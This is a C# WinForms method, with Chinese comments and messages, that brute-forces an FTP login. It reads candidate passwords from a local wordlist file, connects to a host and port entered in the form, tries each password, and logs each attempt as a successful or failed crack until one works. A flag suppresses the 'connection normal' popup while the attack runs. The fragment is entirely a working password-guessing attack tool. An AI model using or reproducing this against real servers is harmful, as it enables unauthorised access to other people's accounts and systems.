private void Start_HeckDiction()
{
FtpReturn_Str = ""; //FTP返回值为null，避免前面按钮操作导致的文本出错
StartHeck_flag = 1; //破解flag置为1，防止跳窗“连接正常”
StreamReader sr = new StreamReader(@"C:\FTP\ip.txt", Encoding.Default);
string txt_read = sr.ReadLine();
try
{
while (txt_read != null)
{
Form5 client = new Form5();
client.SocketClient(textBox3.Text, int.Parse(textBox4.Text));
client.StartClient();
StartLogIn(txt_read);
if (password_flag == 1)
{
password_flag = 0;
listBox1.Items.Add("密码：" + txt_read + "，尝试破解成功\r\n");
listBox1.SelectedIndex = listBox1.Items.Count - 1;
break;
}
else
{
listBox1.Items.Add("密码：" + txt_read + "，尝试破解失败\r\n");
listBox1.SelectedIndex = listBox1.Items.Count - 1;
}
client.Close();
txt_read = sr.ReadLine();
}
}
catch (Exception ex) { }
MessageBox.Show("破解完毕（破解已停止）");
}